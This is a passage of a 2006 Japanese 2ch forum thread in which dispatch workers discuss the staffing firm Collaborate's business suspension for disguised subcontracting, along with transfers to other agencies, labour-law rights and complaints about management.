827 :名無しさん@そうだ登録へいこう:2006/10/11(水) 18:40:25 ID:7VtlZKvIO
けっきょくコラボなわけか

828 :シス:2006/10/11(水) 19:03:47 ID:eYpVl2OCO
色々と裏技があるって事ですかね〜

829 :名無しさん@そうだ登録へいこう:2006/10/11(水) 19:12:20 ID:budpYwTqO
>>818
酔いすぎ
さすがベンチャラだけは、お上手で…

所長、管理が現場でやっていける
それは人によるだろ
現場が所長、管理やっていけない
それも人によるだろ

酔いすぎですね


830 :名無しさん@そうだ登録へいこう:2006/10/11(水) 19:29:13 ID:6LbMwCHAO
なんか派遣で気楽なトコないかな?

831 :名無しさん@そうだ登録へいこう:2006/10/11(水) 19:38:27 ID:WFRqFpPL0
だからコラボは気楽だってば。

832 :名無しさん@そうだ登録へいこう:2006/10/11(水) 19:59:58 ID:walKJw2NO
面倒な所は全部派遣任せだから楽なんて出来ません。
安全面や厚生面も面倒な企業がほとんどだからね。

833 :名無しさん@そうだ登録へいこう:2006/10/11(水) 20:00:57 ID:NZmguPnT0
このスピードだと2週間でこのスレは終わる。

834 :名無しさん@そうだ登録へいこう:2006/10/11(水) 20:03:05 ID:budpYwTqO
最後くらいは潰れろ唱和で締めましょうね


835 :名無しさん@そうだ登録へいこう:2006/10/11(水) 20:06:04 ID:257Le6fyO
社長変わった

836 :名無しさん@そうだ登録へいこう:2006/10/11(水) 20:20:18 ID:kpxRcKBKO
もう!?
次だれ?

837 :名無しさん@そうだ登録へいこう:2006/10/11(水) 20:25:06 ID:walKJw2NO
逃げたか!

838 :名無しさん@そうだ登録へいこう:2006/10/11(水) 21:20:10 ID:Dz2b8CSwO
東洋経済の記事読んだ?漢字が多くて、よみづらい。オレらライン工にもわかるようにかいてほしい。

839 :レッドダイアモンド*3:2006/10/11(水) 21:20:40 ID:GxyuDpLv0
>>579
>>582
>>625
自分もレッドスリーダイヤモンド名古屋です。自分たちは行き先が決まっている
けど、I籐所長とかk籐さんとかお姉ちゃんたちはどうなっちゃうのかなあ。
みんないい人たちだったんだけど、、、。

840 :名無しさん@そうだ登録へいこう:2006/10/11(水) 21:43:02 ID:y7soWJwIO
S県S市M*K*PNで働いてます。現場で今週から新人さん(他部署からの異動)が教育を受けているけど、教育マニュアルもロクにないのに期限だけは守れなんて無茶です。その上、生産数はおとすななんて(T_T)。
所詮おれたちは良いように使われるだけなんだなってしみじみ思った(-.-)。

841 :名無しさん@そうだ登録へいこう:2006/10/11(水) 21:48:20 ID:budpYwTqO
メーカーからベンチャラ言われるのは仕事だから仕方ない
ただ、コラボの肩書きだけ上の奴らの言う事は聞かなくていいぞ


842 :椿:2006/10/11(水) 22:22:32 ID:bSlJCfWaO
名古屋の〇菱だけど、どうなってるのかサッパリだよ(´・ω・`)
今休みとってるから情報入って来ないよぉ

843 :名無しさん@そうだ登録へいこう:2006/10/11(水) 23:16:08 ID:AJdxJZlfO
事業所長の不足している所があれば移動だろうが解約ラッシュの中では無いよな…近日中には事業所長の整理が始まる予感

844 :名無しさん@そうだ登録へいこう:2006/10/12(木) 00:02:06 ID:gijqUn0IO
○菱の名古屋はそのままどっかの会社に転籍するんやないかい。だってコラボは今週いっぱいだって聞いたよ。某元栗設立会社だろうよ。

845 :椿:2006/10/12(木) 01:48:43 ID:jgKoH9f3O
今聞いたら違う派遣会社(?)に移動みたい(´・ω・`)
給料も今ある有給とかもそのままらしい(´・ω・`)
作業服が〇菱になるんだって(;・ω・)
退職届けを今週中に出して
入社届けを書くみたい。
新しい会社に12月まで居たら入社祝い金が出るとか聞いたよ(・ω・;)

ってか私休みで今週居ないのに退職届けどうしよう(;・ω・)


846 :名無しさん@そうだ登録へいこう:2006/10/12(木) 02:25:04 ID:BrsIbk1BO
>>841
レスありがとうございます。少し元気出ました(^^)。
ここの事業所も再来週には別会社にまるごと移籍だそうです。小さくても良いからせめて世間から後ろ指さされないまっとうな会社になって欲しいけど、無理っぽいなぁ(-_-;)。

847 :名無しさん@そうだ登録へいこう:2006/10/12(木) 04:58:47 ID:CLOKQ3PSO
あっけなく、解約。 役に立たなかった事業所長。ふだんはイバッてたのに。クソ野郎。能なし。

848 :シス:2006/10/12(木) 06:14:07 ID:/6oPneB5O
他の事業所はドタバタで大変なんだなと…うちの派遣先の某大手企業は今回の件があっても今まで通りコラボと契約を続けると言っていると事業所所長は言ってたんだけど…影響の大きかった所と大した影響のなかった所と様々だなと。もう少し、厳しい処分かと思ったんだけど。

849 :名無しさん@そうだ登録へいこう:2006/10/12(木) 06:16:52 ID:6LpdbuVxO
大阪はたいしたことなかった

850 :名無しさん@そうだ登録へいこう:2006/10/12(木) 06:30:13 ID:ADCZtNrgO
>>845>>846今の契約はどうなっている?オレのとこのコラボは慌てて派遣契約に切り替えたから、他の派遣会社にスライドしたくても出来なくて頭を抱えてる。

851 :シス:2006/10/12(木) 06:50:03 ID:/6oPneB5O
コラボ以外に日○総業やア○ラ○ンも入ってるんだけど、今こそ勢力拡大するチャンス。

852 :名無しさん@そうだ登録へいこう:2006/10/12(木) 07:21:17 ID:BrsIbk1BO
>>850
契約自体は変わらない様です。コラボは請負から撤退するので事業所まるごと別会社に移籍して請負を続けると説明がありました。
偽装請負なんて言われない様に「努力」するなんて言ってましたが一体ドコまで本気なのかわかりません(-_-;)。

853 :シス:2006/10/12(木) 07:30:01 ID:/6oPneB5O
10月4日に緊急説明会と称して、今回の営業停止処分についての説明会があり、その場で事業所所長は3年かけて派遣から請負にしたいと熱弁してました。派遣先の企業が請負を望んでいるのなら、それに答えるのがビジネスだそうです。

854 :名無しさん@そうだ登録へいこう:2006/10/12(木) 07:37:01 ID:PU/VBGfYO
請負はしない偽装請負をする

855 :名無しさん@そうだ登録へいこう:2006/10/12(木) 07:46:05 ID:V+hcJL2OO
名古屋の三○は、OS総○の働きかけ。絶対にうえは知っているのに知らないフリ。なぜ?それは、○○垣様の会社やから?。そんなんじゃ会社の質はよくならんで!
元名古屋のす○ぎん君!そちらの会社は楽しいかい?

856 :名無しさん@そうだ登録へいこう:2006/10/12(木) 08:01:18 ID:xDre37ltO
本当に社長は変わったのか?

857 :名無しさん@そうだ登録へいこう:2006/10/12(木) 08:34:12 ID:BK0EmECU0
よーするにアホなんやろ。

栗辞めた奴が会社設立して コラボ辞めてそこに移って・・・の繰り返し。
同じじゃん。
設立で派遣新規申請は難儀で時間もかかるけど、請負はウンコでも設立できるぜ。
金もほとんどかからん。だからアホが増えるのだよ。

858 :名無しさん@そうだ登録へいこう:2006/10/12(木) 10:35:36 ID:BRvbFC3J0
↑もっと面白い事を書いてくれ

859 :名無しさん@そうだ登録へいこう:2006/10/12(木) 11:20:28 ID:yhEmDIuz0
コラボが営業停止で日総がお咎めなし
ってのはおかしくない?

860 :名無しさん@そうだ登録へいこう:2006/10/12(木) 11:43:15 ID:iJyCbNUuO
>>859
ヒント;主要株主

861 :名無しさん@そうだ登録へいこう:2006/10/12(木) 12:08:38 ID:sbSFoUZo0
>>846
移る会社がttp://www.career-f.co.jp/じゃ先が見えてるって判らないの?

ヒント:代表者名


862 :椿:2006/10/12(木) 12:21:22 ID:jgKoH9f3O
移る会社の担当者と話した(*・ω・*)/
でもよく分からない(´・ω・`)
情報ください(泣)

863 :名無しさん@そうだ登録へいこう:2006/10/12(木) 12:36:27 ID:AosAYX5QO
営業停止の事載ってる新聞ってなんの新聞で何日か分かる?状況が分からん


(´;ω;`)ブワッ

864 :名無しさん@そうだ登録へいこう:2006/10/12(木) 12:38:19 ID:7yCYyFO50
>>863
Google Newsでコラボレートで検索すればわかる




あ、>>863は携帯からだから無理か・・・

865 :名無しさん@そうだ登録へいこう:2006/10/12(木) 12:59:01 ID:s7EJZ8hpO
>>840
あそこはマニュアルなんか作らないのがデフォ。俺は自分で教育資料作ってたよ。

クリー○ルームの人ですかね?

866 :名無しさん@そうだ登録へいこう:2006/10/12(木) 13:35:13 ID:FTc6GTqL0
>○○垣様の会社やから?

伏字つかわないで本名語ってくれや

867 :名無しさん@そうだ登録へいこう:2006/10/12(木) 14:16:53 ID:xDre37ltO
実名出しちゃいけません。2ちゃんねるの絶対ルールです。守りなさい!


868 :名無しさん@そうだ登録へいこう:2006/10/12(木) 14:39:58 ID:7yCYyFO50
>>867
取締役として名を連ねている香具師は実名出してもいいのだが・・・w

869 :名無しさん@そうだ登録へいこう:2006/10/12(木) 15:51:07 ID:aDtB7Q0c0
少しも反省しないところがこの会社の凄いところだよ。
ある意味尊敬できます。

870 :名無しさん@そうだ登録へいこう:2006/10/12(木) 16:09:09 ID:Ay4jYrvX0
>>863
全国紙全部今月の4日


871 :名無しさん@そうだ登録へいこう:2006/10/12(木) 17:32:34 ID:7yCYyFO50
某所に掲載されていた東洋経済の記事の抜粋。

------

偽装請負を繰り返し、再三にわたり是正指導を受けてきた、コラボレート特有の事情も見逃せない。

大阪労働局も

「初めて偽装請負が発覚した企業に対してこうした重大な処分を下すことはない。
これまでの指導、命令や労働者の内部告発の積み重ねの結果だった」

と同社の”履歴”を問題視した。



872 :名無しさん@そうだ登録へいこう:2006/10/12(木) 17:37:50 ID:AosAYX5QO
>>870ありがとう!

873 :死す:2006/10/12(木) 18:11:09 ID:/6oPneB5O
どんなに業界大手だろうが、こんなに何度も悪さを繰り返すような会社は社会にとって必要ないでしょ。でも、面向きは世界トップレベルの大企業でもこんなコラボレートとの付き合いを止めないって事は…やはり儲ける為には悪事も…

874 :名無しさん@そうだ登録へいこう:2006/10/12(木) 19:21:46 ID:h4sLkWICO
シャチョサンまた変わった

875 :名無しさん@そうだ登録へいこう:2006/10/12(木) 19:41:02 ID:FTc6GTqL0
今度は誰やねん?

876 :名無しさん@そうだ登録へいこう:2006/10/12(木) 19:52:08 ID:h4sLkWICO
あおき〜

877 :名無しさん@そうだ登録へいこう:2006/10/12(木) 19:52:55 ID:h4sLkWICO
水野だったゴメン

878 :名無しさん@そうだ登録へいこう:2006/10/12(木) 19:55:24 ID:ADCZtNrgO
そもそも新聞に掲載された謝罪広告。働いている人達にメッセージがあっても良かったんじゃないか?

879 :名無しさん@そうだ登録へいこう:2006/10/12(木) 19:56:49 ID:ApwmMCoq0
働いてる人たちは人間とみなされてないから。

880 :名無しさん@そうだ登録へいこう:2006/10/12(木) 19:57:03 ID:FTc6GTqL0
>>878
過去に従業員に向けて「ゴメン」なんて謝罪した企業が存在したか?
まずはお客様に全力注入だろう。

881 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:03:28 ID:LytxAlfZ0
 新社名決定!!

882 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:04:30 ID:1YK1mZW/O
>

883 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:07:19 ID:je2t51qyO
株式会社ダメポレート

884 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:12:49 ID:1YK1mZW/O
コラボが偽装請負は違法だから派遣契約に変更するように言っても変更しなかった企業に社会的制裁は無いの?

885 :スカッとさわやか!:2006/10/12(木) 20:13:09 ID:YydX5skl0
コカコーラ京都工場でも、コラボレートにて偽装請負が行われていたよ!従業員は劣悪低賃金で虫けらのように、コカコーラ社員指揮のもと働いているよ!CMイメージとはぜんぜん違う会社だよ!

886 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:13:15 ID:LytxAlfZ0
その名も「クビツレート」!!

 次の犠牲者は、歳とって転職もままならない人たち。
   正社員を雇えない製造業の人たち。
   中卒の人たち。
・・・と、このスレをみている・・・・・

   あなたたちです!!

887 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:16:02 ID:PU/VBGfYO
コラボはお客様(受入先企業)の為に今度は偽装請負がバレない様に全力投球します。

888 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:17:16 ID:LytxAlfZ0
などと言うてる場合ちゃうなあ。関東性器からも追い出されたわ。

889 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:18:21 ID:9k9ks6r50
>>883
対案
潟Rレダメーポ

890 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:34:55 ID:ADCZtNrgO
>>880誰が謝罪だと言ったよ?
スタッフに安心して勤務継続して下さい…位のメッセージがあってもおかしくないだろうよ。
>>880お前サン、コラボの管理者か?

891 :革命戦線ギロチンファミリー:2006/10/12(木) 20:40:05 ID:ZDUXgG1h0
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■
■ 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え 戦え ■

                     新左翼団体
                    革命戦線ギロチンファミリー

892 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:51:09 ID:ikNaXvyy0
>>890
そんな広告有り得ない。対外的に見ればコラボ全体(末端の社員全て)
の不祥事だからね。
つーか例の怪文書誰かうpしろよw

893 :名無しさん@そうだ登録へいこう:2006/10/12(木) 20:53:46 ID:+RmkYL11O
未頭濃俊、まだ居たのか?この前、コラボレートの偽装請負に関して新聞の広告欄に謝罪らしき事を記載してたけど、まっ!表面だけクリーンにして裏では真っ黒だらけの偽装請負をしてる。今って、面接活動してイイの?

894 :名無しさん@そうだ登録へいこう:2006/10/12(木) 21:10:36 ID:LytxAlfZ0
だめDEATH!!

895 :名無しさん@そうだ登録へいこう:2006/10/12(木) 21:16:01 ID:6LpdbuVxO
請負ができる実力に到達するまで3年もかからない
大阪はなぜ無理だったのか
答えは簡単

結論『大阪コラボを仕切る奴がアホだから』

人がどんどん辞めていくのに手を打たないからアホ、打とうともしないからアホ

また新しく人が入るからいいじゃないかという考えではアホを卒業できない

わかるか?人さえ定着してれば約2年もあれば請負までいけるはずだということが。
人の入れ替えが激しいうちは請負なんか無理!
2年以上続いとる奴が何人おるんや笑
結論、大阪は仕切る奴がアホ!

896 :名無しさん@そうだ登録へいこう:2006/10/12(木) 21:32:35 ID:ApwmMCoq0
天罰なんだよね。
因果応報なんだよ。



897 :スカッとさわやか!:2006/10/12(木) 21:45:45 ID:YydX5skl0
コラボ従業員が明日から、みんな辞めたら、日本経済は大混乱?しないね、コラボ従業員は泣き寝入り、まあ上の人間が「アホ」なんでしょうね!

898 :名無しさん@そうだ登録へいこう:2006/10/12(木) 21:54:14 ID:PU/VBGfYO
偽装請負をバレない様に工夫するんだ 例 契約社員という名の請負にする
すると請負じゃないよ契約社員だよと言い訳できる

899 :名無しさん@そうだ登録へいこう:2006/10/12(木) 22:19:14 ID:9Y6v1gRX0
やはり下の連中もアホなのか

900 :名無しさん@そうだ登録へいこう:2006/10/12(木) 22:23:58 ID:sNlk4fSqO
↑ちょっといたいな

901 :名無しさん@そうだ登録へいこう:2006/10/12(木) 22:29:33 ID:9Y6v1gRX0
ずっと居ていいぜ

902 :名無しさん@そうだ登録へいこう :2006/10/12(木) 22:42:10 ID:cJM0rM3l0
アフォが生んだ結果ですね。
普通なら対策練るけど・・
この会社の結論は・・・噂も49日とか、ほおって置けばとかw
違うか???
コラボLVでは請負できませんね!
表向きの言葉知ってても、要領ないから無理ですね。
それを求める企業もtt
まあ・・潰れた方がいいね。


903 :名無しさん@そうだ登録へいこう:2006/10/12(木) 22:47:52 ID:kYBEZYZ40
名古屋の栗ビルの2階はテナントになってますが入居したら危険ですか?

904 :名無しさん@そうだ登録へいこう:2006/10/12(木) 22:52:58 ID:je2t51qyO
請負なんて最初からやる気無かったんじゃないの!
本気でどうにかするつもりならこうはならなかったはず、何もしないから業務停止!
まともに経営をする気がないアホゥが経営した結果だね。

理由も知らずに働けなくなる人もたくさんいるけど、
アホゥなトップは辞任したと思いきや別会社の社長にでも収まるんだろうね。
トップまで派遣社員にすればいいんだよ、きっと。

新社名は潟_ッポウレート


905 :名無しさん@そうだ登録へいこう:2006/10/12(木) 23:34:02 ID:6LpdbuVxO
>>898
オマエ何が言いたいん…
意味わからんのやけど…
上も上なら下も下か…
終わってるね、この会社。

上にいるアホに言うけど、引っ張って行く、と、引きずりまわすは意味合いが全然違うからね
大阪は、引っ張るわけでもなく、引きずりまわすわけでもない。
ほったらかし。が1番しっくりくるけど。
もう、早く潰れたら?
早く偽装請負の件、きっちり説明してくださいね

906 :名無しさん@そうだ登録へいこう:2006/10/12(木) 23:47:49 ID:Wj3MZVFZO
>>905
直接言えよ!

907 :名無しさん@そうだ登録へいこう:2006/10/13(金) 00:23:48 ID:XLl90d5eO
904さんへアホな上が辞任とか書いてるんだけどあなたがいってるアホ以上のドアホが上にきますからたいへんですよ。栗一番のアホだと思いますよ。彼はね。

908 :名無しさん@そうだ登録へいこう:2006/10/13(金) 00:42:56 ID:hrvfiWFG0
梶R(・∀・)ノ ウンコー がよい

909 :セルマ最悪:2006/10/13(金) 01:00:07 ID:s+fgWz7C0
セルマ セマル キキ

セルマはやめれ

910 :名無しさん@そうだ登録へいこう:2006/10/13(金) 03:08:00 ID:y+JCct2GO
偽装請負止めないよ バレないように続けるんだ。

911 :名無しさん@そうだ登録へいこう:2006/10/13(金) 06:00:55 ID:3FMIPQRjO
>>906
直接言ったとこで何もしないのがコラボ

偉そうに物申すでない。
ほったらかしに近いのは事実では?
改善された点が見当たらないから、何を言われようと仕方なかろう。


912 :死す:2006/10/13(金) 06:13:57 ID:E76/MZuCO
とにかく、うちの事業所所長は3年で派遣→請負へって、そればかり言うけど本当に可能かよ!?…1人熱く語ってるけど、うちら使い捨て契約派遣社員にはどうでもいい事だよ。

913 :名無しさん@そうだ登録へいこう:2006/10/13(金) 06:21:55 ID:3FMIPQRjO
>>912
その所長もかなりのバカですね!
寝言は寝て言えと。
上が改善を目指し動かない限りコラボは変わらない

914 :死す:2006/10/13(金) 06:28:57 ID:E76/MZuCO
コラボのトップは請負から撤退すると言ってるのに、うちの事業所所長は請負にするよう頑張ると言ってる。たかが1事業所所長にそんなチカラがあるの?派遣だろうが請負だろうが正直、どうでも良いよ。そんな事より待遇改善にチカラを入れろって思うよ。

915 :名無しさん@そうだ登録へいこう:2006/10/13(金) 06:54:30 ID:Y0AhKJrcO
請負でも偽装なら簡単になれるだろうが、本来の請負をしようとするなら設備投資や技術力のノウハウ等現派遣先の協力が必要だろ?で、結局又偽装に手を染めて同じ事の繰り返し。

916 :死す:2006/10/13(金) 07:01:35 ID:E76/MZuCO
実際、派遣と請負…どっちが会社的には儲かるんだろ?

917 :名無しさん@そうだ登録へいこう:2006/10/13(金) 08:40:16 ID:Ydp5+NWt0
※※労基で働く友人からの内部情報※※
今後事業停止命令を受けそうな派遣会社ベスト5です。

第1位・・・クリス○ルサー○ス
第2位・・・日○工産
第3位・・・東○ワーク
第4位・・・高○工業
第5位・・・○研総業

地区は明かされない。コラボの事業停止命令情報はマスコミ発表前に教えて
もらっていたのでこの情報の信憑性は高いものと思われる。


918 :名無しさん@そうだ登録へいこう:2006/10/13(金) 08:53:00 ID:6eAIl48a0
で、そもそもお前等はどうしたいんだ?
確かにコラボが悪いのは百も承知。
お前等本人として、お前等が決める事なんだぜ。
@辞めたいなら辞めて新しい道へ。
A残ると決めたならウダウダ言わずコラボと心中する。
B自分がトップに登りつめて会社方針を変える。
しかねぇだろ。あとは爆弾でも仕掛けるかだなw

919 :名無しさん@そうだ登録へいこう:2006/10/13(金) 09:45:01 ID:bVKj/Edz0
>>917
3位の○洋ワークはまず無いだろ。
それより先に5位の日○総業がくるだろ。
もっとヤバイのがパ○ナとかの大手なんじゃないの?

920 :名無しさん@そうだ登録へいこう:2006/10/13(金) 09:52:55 ID:AoxW2lrT0
第1位以外は日本生産技能労務協会の会員だな。

http://www.js-gino.org/jsla_kaiin.shtml

921 :名無しさん@そうだ登録へいこう:2006/10/13(金) 10:50:19 ID:2a2yMh4h0
>>890
かつて会見で自社の社員に対して「安心して勤務継続して下さい」
なんつー見当違いな事を述べた企業があったか?
お前、そんな脳をしてるからいつまでたっても2ちゃんから抜けられないんだよ。

922 :名無しさん@そうだ登録へいこう:2006/10/13(金) 10:50:55 ID:pTHYVh5WO
国会中継wwwwwwwwww

923 :名無しさん@そうだ登録へいこう:2006/10/13(金) 10:51:52 ID:Cq0zS90nO
いま、この時間、国会の生中継見てます。(参議院の質疑)。
『コラボ―』『クリスタル―』と代表質疑の野党議員が連呼しています。
今日の政治系のニュース解説は、NHKも民放もこのネタ出るかな‥?


924 :名無しさん@そうだ登録へいこう:2006/10/13(金) 10:51:57 ID:pDVWLcmm0
今国会でやってる コラボレートの派遣先てどこ?

925 :名無しさん@そうだ登録へいこう:2006/10/13(金) 10:54:43 ID:Cq0zS90nO
国会生中継をみてる藻まえらは、
ハッキリ言って夜勤明?休み?
‥それとも失業者?


926 :名無しさん@そうだ登録へいこう:2006/10/13(金) 11:01:16 ID:3NESvEJa0
ニーツ

927 :名無しさん@そうだ登録へいこう:2006/10/13(金) 11:01:16 ID:pDVWLcmm0
おまえはなんな のコラボの糞か?

928 :名無しさん@そうだ登録へいこう:2006/10/13(金) 11:12:51 ID:RqroYela0
>>923
実況板見たら共産の市田議員だな

新聞にはでるだろうが、テレビはほとんどでないだろうな・・・核問題のほうがよほど重要だから

929 :名無しさん@そうだ登録へいこう:2006/10/13(金) 11:43:56 ID:3NESvEJa0
つまり核実験はコラボの陰謀

930 :名無しさん@そうだ登録へいこう:2006/10/13(金) 12:04:20 ID:e45prhcu0
>>914
まだ請負化しようとしてるだけその人は管理者の中ではかなりまとも
だと思うよ。そんな管理者まだこの会社に残ってんのか。。
多分君はコラボのライン工の中では恵まれてるよ。うちの管理者なん
て先のこと何にも考えてないし。請負化することで事業所を存続させ
ようとしてんだね。。ま、現場と管理者、ユーザーの企業が協力しな
いと請負化は難しいでしょうな。

931 ::2006/10/13(金) 12:05:43 ID:U1prcMeW0
だからSのNはKから万いーぱい!
SのNはJに過剰請求!インセンいーぱい!

932 ::2006/10/13(金) 12:07:19 ID:U1prcMeW0

そんなやつが常務取締役

933 :名無しさん@そうだ登録へいこう:2006/10/13(金) 12:28:00 ID:xmuKqBruO
請負契約は、請負先企業にしかメリット無いよ。

派遣契約の方が、働く人間にとっては有利。

934 ::2006/10/13(金) 12:36:27 ID:tJr+PRXy0
静岡終わってんなあ。

元浜松の○好はアウトの人身売買で小遣いガッポリ。
常務は接待まみれで過剰請求。
沼津は空接待でくびだし・・・。

935 :名無しさん@そうだ登録へいこう:2006/10/13(金) 12:37:17 ID:DF8r39Oh0
Kが分からん。ヒントくれ。

936 :名無しさん@そうだ登録へいこう:2006/10/13(金) 12:37:52 ID:tJr+PRXy0
K攻防

937 :名無しさん@そうだ登録へいこう:2006/10/13(金) 12:39:58 ID:e45prhcu0
>>933
そうかな。三年後の直接雇用も義務ではないからね。努力しろってだけで。
直接雇用自体も契約社員的な扱いが多いし。完全に請負化できれば生産さ
えあれば雇用自体は確保されるし企業側の正社員にグチグチ言われること
ないしな。一長一短あるかと。

938 :名無しさん@そうだ登録へいこう:2006/10/13(金) 12:41:22 ID:y+JCct2GO
受入先企業は偽装請負を望んでいる 企業のエゴ 企業のエゴ 企業のエゴ
偽装請負労働者には自己責任 偽装請負労働者にはジコセキニン
しわ寄せは偽装請負労働者へ

939 :名無しさん@そうだ登録へいこう:2006/10/13(金) 13:28:23 ID:357GHcCgO
今、業務停止中だよな?

営業の電話来たんですが…?




940 :名無しさん@そうだ登録へいこう:2006/10/13(金) 13:45:24 ID:sDZtLYF10
労基署にチクるべし!


941 :名無しさん@そうだ登録へいこう:2006/10/13(金) 13:50:01 ID:jJiyAzms0
    .;    、       [!  ][     g==4r==q====nr     |
  〈、.ヽ、 メ゚       vv]しvv]しvv   〈!  〈!  |   〈!     ]゜
.。./]krr「=---ffT^゚l(     ][t--6!     ^^^""[^^^^](^^^^  ........gし....。
]、  .。     ./゛     [vnndl.      vnH[npfkr       」゜
^ vxdしxxxx。     xxqUしxxdしgxx。. .。xxxxxgp(しxxxxx。. .。xx]しxxxxx。.
   ..l[   .;[       f゜ ,,   ]!      ,,d[======r     ][
   ][   ..l[     .;メ"vvx[vvn [    ./〈,,,,,,,,,,,,,,,,,,.ll.    ..l[      g
   「   ヾ     f" _____][_______.\  r" .l[     [     [    __yf゛
               ^^^^^^^^^      .\ffffffffヾ     fnnnr4^^^
  .lr   tv,,,,_              g-==nvvq
  .l[   nq,,__             ./゜    J!   ][    [!
  .l[     ^             .l[     ][   .l[    ]l.
  .l[^^^^^^^^^^    .;、,,    、  ゛     ][    「    [!
  .l[          ..l[..l[   .l[       g"         .l[
  .l[          .ヽ "   ]!      y"         g"
  .\^^^^^^^"       __,,,,r[     ,,/゜         _/゛
               ゞ"゜      ノ゜         /゛


942 :名無しさん@そうだ登録へいこう:2006/10/13(金) 13:57:04 ID:6eAIl48a0
愛知県内の営業所の情報教えて下さい。
愛知県の所長ほとんど辞めていったんですよね?
○菱とか○NAXとか他どうなるんですか?


943 :名無しさん@そうだ登録へいこう:2006/10/13(金) 14:18:51 ID:4A4Y0TZ4O
>>937
努力義務じゃないぞ、強制規定だぞ
期間制限過ぎたら規採用より優先だから新規採用雇っても解雇して雇わなければいけないんだぞ。

944 :名無しさん@そうだ登録へいこう:2006/10/13(金) 14:24:43 ID:ymOdRPy60
>>942
だいじょうぶだよ。
OSそーけん経由で他の派遣社員になるだけだYO!

945 :名無しさん@そうだ登録へいこう:2006/10/13(金) 14:25:35 ID:ymOdRPy60
他の派遣会社の派遣社員になる

946 :名無しさん@そうだ登録へいこう:2006/10/13(金) 15:35:39 ID:RqroYela0
次スレの季節が近づいてきた気がするのだが、そろそろ立てる?それとも970あたりまでまつ?

947 :名無しさん@そうだ登録へいこう:2006/10/13(金) 15:49:24 ID:S3sga7bTO
>>945
うん、俺達この工場のコラボ約400人全員、日総に転職になった・・・

948 :名無しさん@そうだ登録へいこう:2006/10/13(金) 16:17:03 ID:4A4Y0TZ4O
>>947
日総がコラボのかわりに偽装請負やるんだ。
厚労省は取締りするんだろうな。

949 :名無しさん@そうだ登録へいこう:2006/10/13(金) 16:21:26 ID:xmuKqBruO
>>943
まぁ、3年後を夢見るよりも、現実をみた方がいいのは事実。

3年後、世界の景気は悪くなってるかも知れん。

3年後、日本は中国に統治されてるかも知れん。

950 :名無しさん@そうだ登録へいこう:2006/10/13(金) 16:48:56 ID:XLl90d5eO
愛知の○菱や○ナックスがどうなるかって?表向き解約だろ?たしか。ただ○○○○っくとかいうとこに全員転籍って噂だから、そうなるんやろな。もうだいぶ前からそういうシナリオだったらしいぞ。

951 :名無しさん@そうだ登録へいこう:2006/10/13(金) 16:51:08 ID:4A4Y0TZ4O
夢を見てるんじゃないよ、間違った法解釈を指摘しただけ
権利は主張しとかないと後で泣くだけ

952 :名無しさん@そうだ登録へいこう:2006/10/13(金) 17:16:23 ID:mXKKtg6S0
転籍しないで辞めて違う仕事しろって。
その方がみんなの為になるって

953 :名無しさん@そうだ登録へいこう:2006/10/13(金) 17:42:10 ID:1HzCTuto0
3年後か現実か?
夢を見ながら迷ってるうちにまた法律変わったりして・・・

954 :名無しさん@そうだ登録へいこう:2006/10/13(金) 17:48:30 ID:bi2W7g6C0
>>943
いあいあ。そらその派遣された人を継続してその現場で使うのであれば強制でしょうよ。
そういう意味で言ったのではないんだが。。まぁいいかw
>>949
中国に統治とかキモチワルイw
まぁ北の情勢次第か。あと民主党が政権とっても主権委譲しちゃうらしいから有り得るな。

955 :名無しさん@そうだ登録へいこう:2006/10/13(金) 18:40:22 ID:ymOdRPy60
結局この業界は野○垣さんで回っているんだよ。
お前ら現場には知らないところで・・・。

956 :死す:2006/10/13(金) 19:21:22 ID:E76/MZuCO
3年後を夢見るより今を見ないと…目指せ!!脱栗、脱コラ、脱派遣。

957 ::2006/10/13(金) 19:31:20 ID:koYPoZES0
野々垣 負 ? 極悪!

958 :名無しさん@そうだ登録へいこう:2006/10/13(金) 20:08:21 ID:f2rKK4cEO
3年待った事をきっと後悔するぞ

959 :名無しさん@そうだ登録へいこう:2006/10/13(金) 20:08:24 ID:MipAFttzO
ねぇ厚生年金、取られるの多くなってない?

960 :名無しさん@そうだ登録へいこう:2006/10/13(金) 20:09:10 ID:4A4Y0TZ4O
労働局に偽装請負を告発しようぜ

961 :名無しさん@そうだ登録へいこう:2006/10/13(金) 20:12:10 ID:y+JCct2GO
さんせ〜い

962 :名無しさん@そうだ登録へいこう:2006/10/13(金) 20:16:57 ID:2a2yMh4h0
>>960
マジレスすると労働局には反感買った現場社員からの匿名のそんな告発だらけ。
匿名では全く相手にしてもらえないし、名前出して気合入れて粘っても、
日本中の請負会社が同じ状況だから、そいつの告白では動く事はない。

963 :名無しさん@そうだ登録へいこう:2006/10/13(金) 20:33:28 ID:mXKKtg6S0
あと少しでおしマイケルが出てくるぞ。

964 :死す:2006/10/13(金) 20:38:19 ID:E76/MZuCO
求人には長期で働けるって書いてあるけどさ…派遣(コラボ)で長く働くメリットって何?給料上がる訳でもないし、ボーナスが出る訳でもないし、ましてや退職金が貰える訳でもなし。初めから分かってる事だけどね…最近やる気起きないよ(*´Д`)=з

965 :名無しさん@そうだ登録へいこう:2006/10/13(金) 21:03:32 ID:Y1v1c71w0
コラボレート・・・・偽造請負をする会社では有名!!!
          偽造請負で告発されるとスタッフの身分がよくなる場合が多い。
